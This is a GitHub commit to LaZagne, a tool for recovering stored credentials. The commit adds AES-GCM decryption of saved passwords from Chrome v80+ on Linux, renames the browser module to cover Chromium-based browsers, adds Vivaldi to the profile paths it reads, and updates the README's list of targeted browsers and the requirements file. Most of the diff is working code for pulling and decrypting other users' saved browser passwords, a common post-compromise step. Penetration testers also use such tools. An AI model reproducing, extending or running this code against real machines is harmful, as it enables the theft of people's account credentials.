Support Chrome v80+ on Linux

and add Vivaldi to supported browsers
AlessandroZ · Jul 2, 2020 · d0a4d16 · d0a4d16
1 parent 3dedb85
commit d0a4d16
Show file tree

Hide file tree

Showing 4 changed files with 27 additions and 11 deletions.
diff --git a/Linux/lazagne/config/manage_modules.py b/Linux/lazagne/config/manage_modules.py
@@ -6,7 +6,7 @@
 # browsers
 from lazagne.softwares.browsers.mozilla import firefox_browsers
 from lazagne.softwares.browsers.opera import Opera
-from lazagne.softwares.browsers.chrome import chrome_browsers
+from lazagne.softwares.browsers.chromium_based import chromium_browsers
 # sysadmin
 from lazagne.softwares.sysadmin.apachedirectorystudio import ApacheDirectoryStudio
 from lazagne.softwares.sysadmin.filezilla import Filezilla
@@ -71,7 +71,7 @@ def get_modules():
         Fstab(),
         # Mozilla(),
         Opera(),
-        #Chrome(),
+        # Chrome(),
         Pidgin(),
         PSI(),
         Shadow(),
@@ -98,4 +98,4 @@ def get_modules():
     # except:
     # 	pass
 
-    return module_names + chrome_browsers + firefox_browsers
+    return module_names + chromium_browsers + firefox_browsers
diff --git a/Linux/lazagne/softwares/browsers/chrome.py → ...agne/softwares/browsers/chromium_based.py b/Linux/lazagne/softwares/browsers/chrome.py → ...agne/softwares/browsers/chromium_based.py
@@ -9,14 +9,16 @@
 from hashlib import pbkdf2_hmac
 
 # For non-keyring storage
+from Crypto.Cipher import AES
+
 from lazagne.config.constant import constant
 from lazagne.config.crypto.pyaes import AESModeOfOperationCBC
 from lazagne.config.module_info import ModuleInfo
 from lazagne.config import homes
 from lazagne.softwares.browsers.mozilla import python_version
 
 
-class Chrome(ModuleInfo):
+class ChromiumBased(ModuleInfo):
     def __init__(self, browser_name, path):
         self.path = path
         ModuleInfo.__init__(self, browser_name, category='browsers')
@@ -55,6 +57,17 @@ def remove_padding(self, data):
             self.debug(traceback.format_exc())
             return data
 
+    def _decrypt_v80(self, buff, master_key):
+        try:
+            iv = buff[3:15]
+            payload = buff[15:]
+            cipher = AES.new(master_key, AES.MODE_GCM, iv)
+            decrypted_pass = cipher.decrypt(payload)
+            decrypted_pass = decrypted_pass[:-16]  # .decode()  # remove suffix bytes
+            return decrypted_pass
+        except:
+            pass
+
     def chrome_decrypt(self, encrypted_value, key, init_vector):
         encrypted_value = encrypted_value[3:]
         aes = AESModeOfOperationCBC(key, iv=init_vector)
@@ -91,8 +104,11 @@ def get_passwords(self, path):
                                   iterations=self.enc_config['iterations'], 
                                   dklen=self.enc_config['length'])
 
-                              password = self.chrome_decrypt(password, key=enc_key, init_vector=self.enc_config['iv'])
-                              password = password if python_version == 2 else password.decode()
+                              try:
+                                  password = self.chrome_decrypt(password, key=enc_key, init_vector=self.enc_config['iv'])
+                                  password = password if python_version == 2 else password.decode()
+                              except UnicodeDecodeError:
+                                  password = self._decrypt_v80(password, enc_key)
                               if password:
                                   break
                               else:
@@ -129,15 +145,15 @@ def run(self):
 
 
 # Name, path
-chrome_browsers = [
+chromium_browsers = [
     (u'Google Chrome', u'.config/google-chrome'),
     (u'Chromium', u'.config/chromium'),
     (u'Brave', u'.config/BraveSoftware/Brave-Browser'),
     (u'SlimJet', u'.config/slimjet'),
     (u'Dissenter Browser', u'.config/GabAI/Dissenter-Browser'),
+    (u'Vivaldi', u'.config/vivaldi'),
     # (u'SuperBird', u'.config/superbird'),  # FIXME
-    # (u'Vivaldi', u'.config/vivaldi'),  # FIXME returns bytes
     # (u'Whale', u'.config/naver-whale'),  # FIXME returns bytes
 ]
 
-chrome_browsers = [Chrome(browser_name=name, path=path) for name, path in chrome_browsers]
+chromium_browsers = [ChromiumBased(browser_name=name, path=path) for name, path in chromium_browsers]
diff --git a/README.md b/README.md
@@ -89,7 +89,7 @@ Supported software
 
 |  | Windows    | Linux  | Mac |
 | -- | -- | -- | -- |
-| Browsers | 7Star<br> Amigo<br> BlackHawk<br> Brave<br> Centbrowser<br> Chedot<br> Chrome Canary<br> Chromium<br> Coccoc<br> Comodo Dragon<br> Comodo IceDragon<br> Cyberfox<br> Elements Browser<br> Epic Privacy Browser<br> Firefox<br> Google Chrome<br> Icecat<br> K-Meleon<br> Kometa<br> Opera<br> Orbitum<br> Sputnik<br> Torch<br> Uran<br> Vivaldi<br> | Brave<br> Chromium<br> Dissenter-Browser<br> Google Chrome<br> IceCat<br> Firefox<br> Opera<br> SlimJet<br> WaterFox | Chrome<br> Firefox |
+| Browsers | 7Star<br> Amigo<br> BlackHawk<br> Brave<br> Centbrowser<br> Chedot<br> Chrome Canary<br> Chromium<br> Coccoc<br> Comodo Dragon<br> Comodo IceDragon<br> Cyberfox<br> Elements Browser<br> Epic Privacy Browser<br> Firefox<br> Google Chrome<br> Icecat<br> K-Meleon<br> Kometa<br> Opera<br> Orbitum<br> Sputnik<br> Torch<br> Uran<br> Vivaldi<br> | Brave<br> Chromium<br> Dissenter-Browser<br> Google Chrome<br> IceCat<br> Firefox<br> Opera<br> SlimJet<br> Vivaldi<br> WaterFox | Chrome<br> Firefox |
 | Chats | Pidgin<br> Psi<br> Skype| Pidgin<br> Psi |  |
 | Databases | DBVisualizer<br> Postgresql<br> Robomongo<br> Squirrel<br> SQLdevelopper | DBVisualizer<br> Squirrel<br> SQLdevelopper  |  |
 | Games | GalconFusion<br> Kalypsomedia<br> RogueTale<br> Turba |  |  |

diff --git a/requirements.txt b/requirements.txt
@@ -5,4 +5,4 @@ enum34; python_version < '3.4' and sys_platform == 'win32'
 rsa; sys_platform == 'win32'
 https://github.com/AlessandroZ/pypykatz/archive/master.zip; python_version < '3.4' and sys_platform == 'win32'
 https://github.com/skelsec/pypykatz/archive/master.zip; python_version  > '3.5' and sys_platform == 'win32'
-pycryptodome; sys_platform == 'win32'
+pycryptodome